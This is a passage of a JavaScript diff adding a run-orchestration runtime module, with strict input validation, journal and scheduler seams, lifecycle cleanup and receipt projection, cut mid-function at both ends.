'The injected lifecycle seam failed closed.', + runtime_run_unknown: 'The run is not available.', + runtime_scheduler_failed: 'The injected scheduler seam failed closed.', + runtime_selection_unresolved: 'Dispatch requires R24A/P27 resolution_ready.', + runtime_store_failed: 'The injected run store seam failed closed.', + symbol_key_denied: 'Symbol keys are denied.', + unknown_key: 'A runtime field is outside the closed vocabulary.', +}); + +export const RUN_RUNTIME_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', + 'aliased_reference_denied', + 'candidate_authority_denied', + 'cursor_identity_mismatch', + 'direct_mode_rejected', + 'duplicate_assignment_id', + 'exotic_prototype_denied', + 'injected_dependency_invalid', + 'invalid_clock', + 'invalid_format', + 'invalid_type', + 'lifecycle_authority_denied', + 'merge_authority_denied', + 'missing_key', + 'own_undefined_denied', + 'out_of_range', + 'proxy_denied', + 'remote_mutation_denied', + 'replay_or_fallback_denied', + 'runtime_assignment_unknown', + 'runtime_cleanup_unproven', + 'runtime_identity_conflict', + 'runtime_journal_failed', + 'runtime_lifecycle_failed', + 'runtime_run_unknown', + 'runtime_scheduler_failed', + 'runtime_selection_unresolved', + 'runtime_store_failed', + 'symbol_key_denied', + 'unknown_key', +]); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_RUNTIME_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_RUNTIME_DIAGNOSTIC_BYTES); +} + +function failRuntime(code, field, message) { + fail(code, field, diagnostic(message ?? CONTENT_FREE[code] ?? CONTENT_FREE.invalid_format)); +} + +function isTypedError(error) { + return error instanceof RunContractV1Error; +} + +function errorCodeOf(error) { + return isTypedError(error) ? error.code : null; +} + +async function callInjected(fn, args, code, field) { + try { + return await fn(...args); + } catch (error) { + if (isTypedError(error)) throw error; + failRuntime(code, field, CONTENT_FREE[code]); + } +} + +function assertFunction(value, field) { + assertNotProxy(value, field); + if (typeof value !== 'function') { + failRuntime('injected_dependency_invalid', field, CONTENT_FREE.injected_dependency_invalid); + } + return value; +} + +function assertMethodMap(value, field, methods) { + assertPlainObject(value, 'injected_dependency_invalid', field, 'The injected seam'); + for (const method of methods) { + const candidate = value[method]; + if (typeof candidate !== 'function') { + failRuntime('injected_dependency_invalid', `${field}.${method}`, + CONTENT_FREE.injected_dependency_invalid); + } + assertNotProxy(candidate, `${field}.${method}`); + } + return value; +} + +function parseDependencies(dependencies) { + if (dependencies === undefined || dependencies === null) { + failRuntime('injected_dependency_invalid', 'dependencies', + CONTENT_FREE.injected_dependency_invalid); + } + assertNotProxy(dependencies, 'dependencies'); + assertPlainObject(dependencies, 'injected_dependency_invalid', 'dependencies', + 'createRunRuntime dependencies'); + const keys = sortedCapturedKeys(dependencies); + if (REFLECT_OWN_KEYS(dependencies).some((key) => typeof key === 'symbol')) { + failRuntime('symbol_key_denied', 'dependencies', CONTENT_FREE.symbol_key_denied); + } + for (const key of keys) { + if (!capturedIncludes(RUN_RUNTIME_DEPENDENCY_KEYS, key)) { + failRuntime('unknown_key', `dependencies.${key}`, CONTENT_FREE.unknown_key); + } + } + for (const key of RUN_RUNTIME_DEPENDENCY_KEYS) { + if (!capturedHasOwn(dependencies, key)) { + failRuntime('missing_key', `dependencies.${key}`, CONTENT_FREE.missing_key); + } + } + return capturedFreeze({ + runStore: assertMethodMap(ownDataValue(dependencies, 'runStore', 'dependencies.runStore'), + 'dependencies.runStore', RUN_STORE_METHODS), + runJournal: assertMethodMap(ownDataValue(dependencies, 'runJournal', 'dependencies.runJournal'), + 'dependencies.runJournal', RUN_JOURNAL_METHODS), + aggregateAnchor: assertMethodMap( + ownDataValue(dependencies, 'aggregateAnchor', 'dependencies.aggregateAnchor'), + 'dependencies.aggregateAnchor', AGGREGATE_ANCHOR_METHODS), + attentionBatch: assertMethodMap( + ownDataValue(dependencies, 'attentionBatch', 'dependencies.attentionBatch'), + 'dependencies.attentionBatch', ATTENTION_BATCH_METHODS), + scheduler: assertMethodMap(ownDataValue(dependencies, 'scheduler', 'dependencies.scheduler'), + 'dependencies.scheduler', SCHEDULER_METHODS), + artifactBridge: assertMethodMap( + ownDataValue(dependencies, 'artifactBridge', 'dependencies.artifactBridge'), + 'dependencies.artifactBridge', ARTIFACT_BRIDGE_METHODS), + settleLocalTaskLifecycle: assertFunction( + ownDataValue(dependencies, 'settleLocalTaskLifecycle', + 'dependencies.settleLocalTaskLifecycle'), + 'dependencies.settleLocalTaskLifecycle'), + cleanupLocalTaskLifecycle: assertFunction( + ownDataValue(dependencies, 'cleanupLocalTaskLifecycle', + 'dependencies.cleanupLocalTaskLifecycle'), + 'dependencies.cleanupLocalTaskLifecycle'), + clock: assertFunction(ownDataValue(dependencies, 'clock', 'dependencies.clock'), + 'dependencies.clock'), + }); +} + +function readClock(clock) { + let value; + try { + value = clock(); + } catch (error) { + if (isTypedError(error)) throw error; + failRuntime('invalid_clock', 'clock', CONTENT_FREE.invalid_clock); + } + if (typeof value === 'number' && NUMBER_IS_SAFE_INTEGER(value) && value >= 0) { + return new Date(value).toISOString(); + } + if (typeof value !== 'string' || !capturedTest(CLOCK_ISO_PATTERN, value)) { + failRuntime('invalid_clock', 'clock', CONTENT_FREE.invalid_clock); + } + return value; +} + +function denyForbiddenKey(key, field) { + const code = FORBIDDEN_REQUEST_KEYS[key]; + if (code) failRuntime(code, field, CONTENT_FREE[code]); +} + +function quarantineRequest(request, field, allowed) { + if (request === undefined || request === null) { + failRuntime('invalid_type', field, CONTENT_FREE.invalid_type); + } + assertNotProxy(request, field); + assertPlainObject(request, 'invalid_type', field, 'The runtime request'); + assertDirectJsonClosure(request, field); + const ownKeys = REFLECT_OWN_KEYS(request); + for (const key of ownKeys) { + if (typeof key === 'symbol') { + failRuntime('symbol_key_denied', field, CONTENT_FREE.symbol_key_denied); + } + } + for (const key of sortedCapturedKeys(request)) { + denyForbiddenKey(key, `${field}.${key}`); + if (!capturedIncludes(allowed, key)) { + failRuntime('unknown_key', `${field}.${key}`, CONTENT_FREE.unknown_key); + } + } + return request; +} + +function requireKey(parsed, key, field) { + if (!hasOwn(parsed, key)) failRuntime('missing_key', field, CONTENT_FREE.missing_key); + return ownDataValue(parsed, key, field); +} + +function optionalKey(parsed, key, field) { + if (!hasOwn(parsed, key)) return undefined; + return ownDataValue(parsed, key, field); +} + +function parseAssignments(value) { + if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { + failRuntime('invalid_type', 'assignments', CONTENT_FREE.invalid_type); + } + assertNotProxy(value, 'assignments'); + if (value.length < MIN_ASSIGNMENTS || value.length > MAX_ASSIGNMENTS) { + failRuntime('out_of_range', 'assignments', CONTENT_FREE.out_of_range); + } + const seen = new Set(); + const assignments = []; + for (let index = 0; index < value.length; index += 1) { + const item = value[index]; + const path = `assignments[${index}]`; + assertPlainObject(item, 'invalid_type', path, 'An assignment'); + for (const key of sortedCapturedKeys(item)) denyForbiddenKey(key, `${path}.${key}`); + if (!hasOwn(item, 'assignment_id')) { + failRuntime('missing_key', `${path}.assignment_id`, CONTENT_FREE.missing_key); + } + const assignmentId = ownDataValue(item, 'assignment_id', `${path}.assignment_id`); + if (!isAssignmentId(assignmentId)) { + failRuntime('invalid_format', `${path}.assignment_id`, CONTENT_FREE.invalid_format); + } + if (seen.has(assignmentId)) { + failRuntime('duplicate_assignment_id', `${path}.assignment_id`, + CONTENT_FREE.duplicate_assignment_id); + } + seen.add(assignmentId); + assignments.push(item); + } + return assignments; +} + +function parseIdList(value, field, knownIds) { + if (value === undefined) return [...knownIds]; + if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { + failRuntime('invalid_type', field, CONTENT_FREE.invalid_type); + } + if (value.length < 1 || value.length > MAX_ASSIGNMENTS) { + failRuntime('out_of_range', field, CONTENT_FREE.out_of_range); + } + const selected = []; + const seen = new Set(); + for (let index = 0; index < value.length; index += 1) { + const assignmentId = value[index]; + if (!isAssignmentId(assignmentId)) { + failRuntime('invalid_format', `${field}[${index}]`, CONTENT_FREE.invalid_format); + } + if (!knownIds.has(assignmentId)) { + failRuntime('runtime_assignment_unknown', `${field}[${index}]`, + CONTENT_FREE.runtime_assignment_unknown); + } + if (seen.has(assignmentId)) { + failRuntime('duplicate_assignment_id', `${field}[${index}]`, + CONTENT_FREE.duplicate_assignment_id); + } + seen.add(assignmentId); + selected.push(assignmentId); + } + return selected; +} + +function parseCursors(value, lanesById) { + if (value === undefined) return new Map(); + if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { + failRuntime('invalid_type', 'cursors', CONTENT_FREE.invalid_type); + } + const cursors = new Map(); + for (let index = 0; index < value.length; index += 1) { + const row = value[index]; + const path = `cursors[${index}]`; + assertPlainObject(row, 'invalid_type', path, 'A cursor row'); + for (const key of sortedCapturedKeys(row)) { + if (!capturedIncludes(['assignment_id', 'event_cursor', 'task_id'], key)) { + failRuntime('unknown_key', `${path}.${key}`, CONTENT_FREE.unknown_key); + } + } + const assignmentId = requireKey(row, 'assignment_id', `${path}.assignment_id`); + const taskId = requireKey(row, 'task_id', `${path}.task_id`); + const eventCursor = requireKey(row, 'event_cursor', `${path}.event_cursor`); + if (!isAssignmentId(assignmentId)) { + failRuntime('invalid_format', `${path}.assignment_id`, CONTENT_FREE.invalid_format); + } + const lane = lanesById.get(assignmentId); + if (!lane || lane.task_id !== taskId) { + failRuntime('cursor_identity_mismatch', path, CONTENT_FREE.cursor_identity_mismatch); + } + cursors.set(assignmentId, { assignment_id: assignmentId, task_id: taskId, event_cursor: eventCursor }); + } + return cursors; +} + +function identityDigest(runId, baseSha, idempotencyKey, assignments) { + const rows = assignments.map((assignment) => ({ + access: assignment.access ?? null, + assignment_id: assignment.assignment_id, + model: assignment.model ?? null, + provider: assignment.provider ?? null, + required: assignment.required !== false, + role: assignment.role ?? null, + starting_ref: assignment.starting_ref ?? null, + task_id: assignment.task_id ?? null, + write_scope: assignment.write_scope ?? null, + })); + rows.sort((left, right) => (left.assignment_id < right.assignment_id ? -1 : 1)); + const payload = canonicalJsonStringify({ + assignments: rows, + base_sha: baseSha, + domain: RUN_RUNTIME_HASH_DOMAIN, + request_idempotency_key: idempotencyKey, + run_id: runId, + }); + return `sha256:${CREATE_HASH(HASH_ALGORITHM).update(payload).digest('hex')}`; +} + +function baseShaFromGit(git) { + assertPlainObject(git, 'invalid_type', 'git', 'git'); + if (!hasOwn(git, 'base_sha')) failRuntime('missing_key', 'git.base_sha', CONTENT_FREE.missing_key); + const baseSha = ownDataValue(git, 'base_sha', 'git.base_sha'); + assertBaseSha(baseSha, 'git.base_sha'); + return baseSha; +} + +function emptySideEffects() { + const sideEffects = {}; + for (const claim of RUN_RUNTIME_SIDE_EFFECTS) sideEffects[claim] = false; + return sideEffects; +} + +function emptyChecks() { + const checks = {}; + for (const check of RUN_RUNTIME_CHECKS) checks[check] = true; + return checks; +} + +function closedString(value, allowed) { + return typeof value === 'string' && capturedIncludes(allowed, value) ? value : null; +} + +function sanitizeCleanup(value) { + if (typeof value === 'string') { + const status = closedString(value, RUN_RUNTIME_CLEANUP_STATUSES); + return freezeData({ status, code: null }); + } + if (value === undefined || value === null || typeof value !== 'object' || ARRAY_IS_ARRAY(value)) { + return freezeData({ status: null, code: null }); + } + const status = closedString(value.status, RUN_RUNTIME_CLEANUP_STATUSES); + const code = typeof value.code === 'string' && capturedIncludes(RUN_RUNTIME_LIFECYCLE_REASONS, value.code) + ? value.code + : (typeof value.code === 'string' && capturedIncludes(RUN_RUNTIME_CLEANUP_STATUSES, value.code) + ? value.code + : null); + return freezeData({ status, code }); +} + +function sanitizeProof(value, allowed) { + if (typeof value === 'string') { + return freezeData({ status: closedString(value, allowed) }); + } + if (value === undefined || value === null || typeof value !== 'object' || ARRAY_IS_ARRAY(value)) { + return freezeData({ status: null }); + } + return freezeData({ status: closedString(value.status, allowed) }); +} + +function sanitizeLifecycle(raw, expectedTaskId) { + if (raw === undefined || raw === null || typeof raw !== 'object' || ARRAY_IS_ARRAY(raw) + || IS_PROXY(raw)) { + failRuntime('runtime_lifecycle_failed', 'lifecycle', CONTENT_FREE.runtime_lifecycle_failed); + } + const taskId = typeof raw.task_id === 'string' ? raw.task_id : expectedTaskId; + if (typeof taskId !== 'string' || (expectedTaskId && taskId !== expectedTaskId)) { + failRuntime('runtime_lifecycle_failed', 'lifecycle.task_id', + CONTENT_FREE.runtime_lifecycle_failed); + } + const reason = closedString(raw.reason, RUN_RUNTIME_LIFECYCLE_REASONS); + return freezeData({ + version: raw.version === 1 || raw.version === '1' ? 1 : 1, + task_id: taskId, + stored_status: typeof raw.stored_status === 'string' ? raw.stored_status : null, + projected_status: typeof raw.projected_status === 'string' ? raw.projected_status : null, + public_state: typeof raw.public_state === 'string' ? raw.public_state : null, + final: raw.final === true, + cleanup: sanitizeCleanup(raw.cleanup), + boundary: sanitizeProof(raw.boundary, RUN_RUNTIME_BOUNDARY_STATUSES), + lock: sanitizeProof(raw.lock, RUN_RUNTIME_LOCK_STATUSES), + reason, + }); +} + +function schedulerLaneStatus(lane) { + const status = typeof lane?.status === 'string' ? lane.status : 'dispatched'; + return capturedIncludes(RUN_RUNTIME_LANE_STATUSES, status) ? status : 'unresolved'; +} + +function isSchedulerTerminal(status) { + return capturedIncludes(TERMINAL_LANE_STATUSES, status); +} + +function journalOutcomeFor(status) { + if (status === 'completed') return 'completed'; + if (status === 'cancelled') return 'cancelled'; + if (status === 'unresolved') return 'cancelled'; + if (capturedIncludes(JOURNAL_TERMINAL_STATUSES, status) || status === 'failed' + || status === 'timeout' || status === 'environment_blocked') { + return 'failed'; + } + return null; +} + +function cleanupNote(lifecycle) { + const status = lifecycle?.cleanup?.status; + if (status === 'normal') return 'cleanup.normal'; + if (status === 'recovered') return 'cleanup.recovered'; + return null; +} + +function pickLane(schedulerReceipt, assignmentId) { + const lanes = ARRAY_IS_ARRAY(schedulerReceipt?.lanes) ? schedulerReceipt.lanes : []; + for (const lane of lanes) { + if (lane && lane.assignment_id === assignmentId) return lane; + } + return null; +} + +function projectLane(assignment, schedulerLane, lifecycle) { + const status = schedulerLaneStatus(schedulerLane ?? { status: 'dispatched' }); + const overlay = lifecycle && isSchedulerTerminal(status) && lifecycle.final !== true + ? 'lifecycle_pending' + : status; + return freezeData({ + assignment_id: assignment.assignment_id, + task_id: schedulerLane?.task_id ?? assignment.task_id ?? null, + role: schedulerLane?.role ?? assignment.role ?? null, + access: schedulerLane?.access ?? assignment.access ?? null, + provider: schedulerLane?.provider ?? assignment.provider ?? null, + model: schedulerLane?.model ?? assignment.model ?? null, + write_scope: schedulerLane?.write_scope ?? assignment.write_scope ?? null, + required: schedulerLane?.required ?? assignment.required !== false, + starting_ref: schedulerLane?.starting_ref ?? assignment.starting_ref ?? null, + status: overlay, + unresolved: schedulerLane?.unresolved ?? null, + cursor: schedulerLane?.cursor ?? null, + attention: schedulerLane?.attention ?? null, + cleanup: lifecycle + ? freezeData({ + task_id: lifecycle.task_id, + status: lifecycle.cleanup.status, + code: lifecycle.cleanup.code, + final: lifecycle.final, + reason: lifecycle.reason, + }) + : null, + }); +} + +function projectJournal(handle, mode, state) { + return freezeData({ + mode, + revision: typeof state?.revision === 'number' ? state.revision : 0, + head_hash: typeof state?.head_hash === 'string' ? state.head_hash : RUN_JOURNAL_GENESIS_PREV, + run_opened: state?.run_opened === true, + terminal: state?.terminal === true, + run_outcome: capturedIncludes(RUN_JOURNAL_OUTCOMES, state?.run_outcome) + ? state.run_outcome + : null, + handle_bound: handle !== null, + }); +} + +function projectAttention(receipt) { + if (receipt === null || receipt === undefined) { + return freezeData({ + batch_id: null, + status: null, + revision: 0, + complete_candidate_blocked: false, + wake: false, + }); + } + return freezeData({ + batch_id: typeof receipt.batch_id === 'string' ? receipt.batch_id : receipt.record?.batch_id ?? null, + status: typeof receipt.status === 'string' + ? receipt.status + : receipt.record?.status ?? null, + revision: typeof receipt.revision === 'number' + ? receipt.revision + : receipt.record?.revision ?? 0, + complete_candidate_blocked: receipt.complete_candidate_blocked === true, + wake: false, + }); +} + +function blockedFrom(schedulerReceipt, attention, lanes) { + if (schedulerReceipt?.complete_candidate_blocked === true) return true; + if (attention?.complete_candidate_blocked === true) return true; + for (const lane of lanes) { + if (lane.required !== false && (lane.status === 'unresolved' || lane.status === 'failed' + || lane.status === 'lifecycle_pending' || lane.status === 'transport_lost')) { + return true; + } + } + return false; +} + +function receiptFor(record, extras) { + const sideEffects = emptySideEffects(); + if (extras.dispatched) sideEffects.task_dispatched = true; + if (extras.cancelled) sideEffects.task_cancelled = true; + const lanes = extras.lanes ?? []; + return freezeData({ + schema: RUN_RUNTIME_RECEIPT_SCHEMA_ID, + version: RUN_RUNTIME_VERSION, + status: extras.status, + run_id: record.run_id, + base_sha: record.base_sha, + created: extras.created === true, + assignment_count: record.assignments.length, + lanes, + journal: extras.journal, + attention: extras.attention ?? projectAttention(null), + cleanup: extras.cleanup ?? freezeData({ + cleaned: false, + proof_bound: true, + removed: 0, + remaining: null, + unresolved: [], + }), + cursor: extras.cursor ?? null, + checks: emptyChecks(), + side_effects: sideEffects, + complete_candidate_blocked: blockedFrom(extras.schedulerReceipt, extras.attention, lanes), + observed_at: extras.observedAt, + wake: false, + remote_mutated: false, + }); +} + +function enqueue(queues, runId, work) { + const current = queues.get(runId) ?? Promise.resolve(); + const next = current.then(work, work); + queues.set(runId, next.catch(() => {})); + return next; +} + +async function loadCoordination(anchor, runId) { + try { + const coordination = await anchor.getCoordination(runId); + if (coordination === undefined || coordination === null) return null; + return coordination; + } catch (error) { + if (isTypedError(error) && capturedIncludes(AGGREGATE_MISSING_CODES, errorCodeOf(error))) { + return null; + } + throw error; + } +} + +async function openOrCreateJournal(injected, record, preferCreate) { + const mode = record.journal_mode; + const createFn = mode === 'aggregate' + ? injected.runJournal.createAggregate + : injected.runJournal.create; + const openFn = mode === 'aggregate' + ? injected.runJournal.openAggregate + : injected.runJournal.open; + const options = mode === 'aggregate' + ? { run_id: record.run_id, anchor: injected.aggregateAnchor } + : { run_id: record.run_id, store: injected.runStore }; + const attempt = async (fn) => callInjected(fn, [options], 'runtime_journal_failed', 'runJournal'); + if (preferCreate) { + return { handle: await attempt(createFn), created: true }; + } + try { + return { handle: await attempt(openFn), created: false }; + } catch (error) { + if (isTypedError(error) && capturedIncludes(JOURNAL_MISSING_CODES, errorCodeOf(error))) { + return { handle: await attempt(createFn), created: true }; + } + throw error; + } +} + +async function journalState(handle) { + if (handle === null || typeof handle.currentState !== 'function') { + failRuntime('runtime_journal_failed', 'runJournal', CONTENT_FREE.runtime_journal_failed); + } + return callInjected(handle.currentState.bind(handle), [], 'runtime_journal_failed', + 'runJournal.currentState'); +} + +async function journalCursor(handle, seq) { + if (handle === null || typeof handle.cursorAfter !== 'function') return null; + return callInjected(handle.cursorAfter.bind(handle), [seq], 'runtime_journal_failed', + 'runJournal.cursorAfter'); +} + +async function appendJournal(handle, event) { + if (handle === null || typeof handle.append !== 'function') { + failRuntime('runtime_journal_failed', 'runJournal.append', CONTENT_FREE.runtime_journal_failed); + } + return callInjected(handle.append.bind(handle), [event], 'runtime_journal_failed', + 'runJournal.append'); +} + +async function bindJournal(injected, journals, record, preferCreate) { + const existing = journals.get(record.run_id); + if (existing) return existing; + const bound = await openOrCreateJournal(injected, record, preferCreate); + journals.set(record.run_id, bound.handle); + return bound.handle; +} + +function childStarted(state, assignmentId) { + const children = ARRAY_IS_ARRAY(state?.children) ? state.children : []; + return children.some((child) => child && child.assignment_id === assignmentId); +} + +function childTerminal(state, assignmentId) { + const children = ARRAY_IS_ARRAY(state?.children) ? state.children : []; + for (const child of children) { + if (child && child.assignment_id === assignmentId && child.outcome) return true; + } + return false; +} + +async function ensureOpened(handle, state) { + if (state?.run_opened === true) return state; + await appendJournal(handle, { + kind: 'run_opened', + data: {}, + dedupe_key: 'run_opened', + }); + return journalState(handle); +} + +async function ensureChildStarted(handle, state, assignmentId) { + if (childStarted(state, assignmentId)) return state; + await appendJournal(handle, { + kind: 'child_started', + data: { assignment_id: assignmentId }, + dedupe_key: `child_started:${assignmentId}`, + }); + return journalState(handle); +} + +async function acceptChildTerminal(handle, state, assignmentId, outcome, lifecycle) { + let current = state; + if (childTerminal(current, assignmentId)) return current; + const note = cleanupNote(lifecycle); + if (note) { + await appendJournal(handle, { + kind: 'child_progress', + data: { assignment_id: assignmentId, note }, + dedupe_key: `cleanup:${assignmentId}:${note}`, + }); + current = await journalState(handle); + } + if (!capturedIncludes(RUN_JOURNAL_OUTCOMES, outcome)) return current; + await appendJournal(handle, { + kind: 'child_terminal', + data: { assignment_id: assignmentId, outcome }, + dedupe_key: `child_terminal:${assignmentId}`, + }); + return journalState(handle); +} + +async function maybeRunTerminal(handle, state, record, lanes) { + if (state?.terminal === true) return state; + const required = record.assignments.filter((assignment) => assignment.required !== false); + const requiredIds = required.length > 0 + ? required.map((assignment) => assignment.assignment_id) + : record.assignments.map((assignment) => assignment.assignment_id); + const byId = new Map(lanes.map((lane) => [lane.assignment_id, lane])); + const outcomes = []; + for (const assignmentId of requiredIds) { + const lane = byId.get(assignmentId); + if (!lane || !lane.cleanup?.final) return state; + const outcome = journalOutcomeFor(lane.status === 'lifecycle_pending' ? null : lane.status); + if (outcome === null) return state; + outcomes.push(outcome); + } + let runOutcome = 'completed'; + if (outcomes.includes('failed')) runOutcome = 'failed'; + else if (outcomes.includes('cancelled')) runOutcome = 'cancelled'; + await appendJournal(handle, { + kind: 'run_terminal', + data: { outcome: runOutcome }, + dedupe_key: 'run_terminal', + }); + return journalState(handle); +} + +async function invokeLifecycle(fn, record, assignment, taskId, reason, field) { + const task = freezeData({ + id: taskId, + run_id: record.run_id, + assignment_id: assignment.assignment_id, + }); + const runtime = freezeData({ + task_id: taskId, + run_id: record.run_id, + assignment_id: assignment.assignment_id, + }); + const dependencies = freezeData({ reason }); + const raw = await callInjected(fn, [null, task, runtime, dependencies], + 'runtime_lifecycle_failed', field); + return sanitizeLifecycle(raw, taskId); +} + +async function settleAndCleanup(injected, record, assignment, schedulerLane, reason) { + const taskId = schedulerLane?.task_id ?? assignment.task_id; + const settled = await invokeLifecycle(injected.settleLocalTaskLifecycle, record, assignment, + taskId, reason, 'settleLocalTaskLifecycle'); + const cleaned = await invokeLifecycle(injected.cleanupLocalTaskLifecycle, record, assignment, + taskId, reason, 'cleanupLocalTaskLifecycle'); + return sanitizeLifecycle({ + ...settled, + final: settled.final === true && cleaned.final === true ? true : settled.final, + cleanup: cleaned.cleanup?.status ? cleaned.cleanup : settled.cleanup, + boundary: cleaned.boundary?.status ? cleaned.boundary : settled.boundary, + lock: cleaned.lock?.status ? cleaned.lock : settled.lock, + reason: cleaned.reason ?? settled.reason, + }, taskId); +} + +async function loadAttention(injected, runId) { + try { + const receipt = await callInjected(injected.attentionBatch.get, [runId], + 'runtime_journal_failed', 'attentionBatch.get'); + if (receipt === undefined || receipt === null) return null; + return receipt; + } catch (error) { + if (isTypedError(error) && (error.code === 'attention_batch_not_found' + || error.code === 'runtime_run_unknown')) { + return null; + } + throw error; + } +} + +function attentionItemsFrom(value) { + if (value === undefined) return null; + if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { + failRuntime('invalid_type', 'attention_items', CONTENT_FREE.invalid_type); + } + if (value.length < 1 || value.length > MAX_ASSIGNMENTS) { + failRuntime('out_of_range', 'attention_items', CONTENT_FREE.out_of_range); + } + return value; +} + +async function latchAttention(injected, record, handle, items) { + const state = await journalState(handle); + const cursors = items.map((item) => ({ + assignment_id: item.assignment_id, + task_id: item.task_id, + event_cursor: STRING(item.event_cursor), + })); + const source = freezeData({ + journal_revision: state.revision ?? 0, + journal_head_hash: state.head_hash ?? RUN_JOURNAL_GENESIS_PREV, + task_cursors: cursors, + }); + const cancel = async (target) => { + const assignmentId = target?.assignment_id; + if (typeof assignmentId !== 'string') return { confirmed: false }; + const receipt = await callInjected(injected.scheduler.cancelAssignments, [{ + run_id: record.run_id, + assignment_ids: [assignmentId], + }], 'runtime_scheduler_failed', 'scheduler.cancelAssignments'); + return { confirmed: receipt !== null }; + }; + return callInjected(injected.attentionBatch.latch, [{ + run_id: record.run_id, + source, + items, + expected_revision: 0, + cancel, + }], 'runtime_journal_failed', 'attentionBatch.latch'); +} + +async function projectArtifacts(injected, record, assignmentId) { + return callInjected(injected.artifactBridge.projectAssignmentArtifacts, [{ + run_id: record.run_id, + assignment_id: assignmentId, + }], 'runtime_journal_failed', 'artifactBridge.projectAssignmentArtifacts'); +} + +async function cleanupArtifacts(injected, record, assignmentIds, lanes) { + const targeted = lanes.filter((lane) => assignmentIds.includes(lane.assignment_id)); + for (const lane of targeted) { + if (lane.cleanup?.final !== true) { + failRuntime('runtime_cleanup_unproven', 'cleanup', CONTENT_FREE.runtime_cleanup_unproven); + } + } + const receipt = await callInjected(injected.artifactBridge.cleanupRunArtifacts, [{ + run_id: record.run_id, + proof: freezeData({ + run_id: record.run_id, + assignment_ids: assignmentIds, + }), + }], 'runtime_cleanup_unproven', 'artifactBridge.cleanupRunArtifacts'); + return freezeData({ + cleaned: receipt?.cleaned === true, + proof_bound: true, + removed: typeof receipt?.removed === 'number' ? receipt.removed : 0, + remaining: typeof receipt?.remaining === 'number' ? receipt.remaining : 0, + unresolved: ARRAY_IS_ARRAY(receipt?.unresolved) ? receipt.unresolved : [], + }); +} + +function storeInputFrom(parsed) { + return { + run_id: ownDataValue(parsed, 'run_id', 'run_id'), + request_idempotency_key: ownDataValue(parsed, 'request_idempotency_key', + 'request_idempotency_key'), + identity: ownDataValue(parsed, 'identity', 'identity'), + git: ownDataValue(parsed, 'git', 'git'), + provenance: ownDataValue(parsed, 'provenance', 'provenance'), + telemetry: ownDataValue(parsed, 'telemetry', 'telemetry'), + }; +} + +export function describeRunRuntimeV1() { + return freezeData({ + schema: RUN_RUNTIME_SCHEMA_ID, + version: RUN_RUNTIME_VERSION, + receipt_schema: RUN_RUNTIME_RECEIPT_SCHEMA_ID, + methods: RUN_RUNTIME_METHODS, + dependencies: RUN_RUNTIME_DEPENDENCY_KEYS, + statuses: RUN_RUNTIME_STATUSES, + lane_statuses: RUN_RUNTIME_LANE_STATUSES, + journal_modes: RUN_RUNTIME_JOURNAL_MODES, + journal_event_kinds: RUN_JOURNAL_EVENT_KINDS, + checks: RUN_RUNTIME_CHECKS, + side_effects: RUN_RUNTIME_SIDE_EFFECTS, + error_codes: RUN_RUNTIME_ERROR_CODES, + bounds: capturedFreeze({ + assignments: capturedFreeze({ min: MIN_ASSIGNMENTS, max: MAX_ASSIGNMENTS }), + }), + rule: 'p24_one_submission_lifecycle_final_before_child_terminal_proof_bound_cleanup', + wake: false, + remote_mutated: false, + ownership: capturedFreeze({ + runtime: 'exact identity, idempotent submission, restart/cursor/attention evidence, cancellation, proof-bound cleanup', + injected: RUN_RUNTIME_DEPENDENCY_KEYS, + forbidden: capturedFreeze([ + 'scheduler_implementation', + 'artifact_bridge_implementation', + 'acp_worker', + 'process_boundary', + 'supervisor', + 'server', + 'lock_recovery', + 'candidate_composition', + 'changelog', + 'future_work', + 'gate_a', + 'release', + ]), + }), + composed_surfaces: capturedFreeze({ + p24: 'injected runStore.submit / getByRunId; durable one-submission identity', + p25: 'injected runJournal.create / open; six-kind fact store only', + r24a: 'injected aggregateAnchor.getCoordination', + r25b: 'injected runJournal.createAggregate / openAggregate after resolution_ready', + p27: 'composed as R24A resolution_ready; this module does not persist selection questions', + p34: 'injected attentionBatch.latch / reply / get', + scheduler: 'injected createRunScheduler result; never imported', + artifact_bridge: 'injected createRunArtifactBridge result; never imported', + lifecycle: 'injected settleLocalTaskLifecycle / cleanupLocalTaskLifecycle; never owns worker/boundary/lock recovery', + public_api: 'not exposed', + gate_a: 'not claimed', + }), + }); +} + +export function createRunRuntime(dependencies) { + const injected = parseDependencies(dependencies); + const runs = new Map(); + const queues = new Map(); + const journals = new Map(); + + async function rememberFromStore(runId) { + const existing = runs.get(runId); + if (existing) return existing; + try { + await callInjected(injected.runStore.getByRunId, [runId], 'runtime_store_failed', + 'runStore.getByRunId'); + } catch (error) { + if (isTypedError(error) && (error.code === 'run_store_not_found' + || error.code === 'runtime_run_unknown')) { + failRuntime('runtime_run_unknown', 'run_id', CONTENT_FREE.runtime_run_unknown); + } + throw error; + } + let schedulerReceipt = null; + try { + schedulerReceipt = await callInjected(injected.scheduler.resumeAssignments, [{ + run_id: runId, + }], 'runtime_scheduler_failed', 'scheduler.resumeAssignments'); + } catch (error) { + if (!(isTypedError(error) && (error.code === 'scheduler_run_unknown' + || error.code === 'runtime_run_unknown'))) { + throw error; + } + } + const lanes = ARRAY_IS_ARRAY(schedulerReceipt?.lanes) ? schedulerReceipt.lanes : []; + if (lanes.length === 0) { + failRuntime('runtime_run_unknown', 'run_id', CONTENT_FREE.runtime_run_unknown); + } + const assignments = lanes.map((lane) => ({ + access: lane.access, + assignment_id: lane.assignment_id, + model: lane.model, + provider: lane.provider, + required: lane.required !== false, + role: lane.role, + starting_ref: lane.starting_ref ?? null, + task_id: lane.task_id, + write_scope: lane.write_scope, + })); + const coordination = await loadCoordination(injected.aggregateAnchor, runId); + const record = { + run_id: runId, + base_sha: schedulerReceipt.base_sha, + digest: identityDigest(runId, schedulerReceipt.base_sha, 'sha256:' + '00'.repeat(32), + assignments), + assignments, + request_idempotency_key: null, + journal_mode: coordination !== null ? 'aggregate' : 'legacy', + dispatched: true, + }; + runs.set(runId, record); + return record; + } + + async function submitRun(request) { + const parsed = quarantineRequest(request, 'request', RUN_RUNTIME_SUBMIT_KEYS); + const runId = requireKey(parsed, 'run_id', 'run_id'); + assertRunId(runId, 'run_id'); + const idempotencyKey = requireKey(parsed, 'request_idempotency_key', + 'request_idempotency_key'); + if (typeof idempotencyKey !== 'string' || 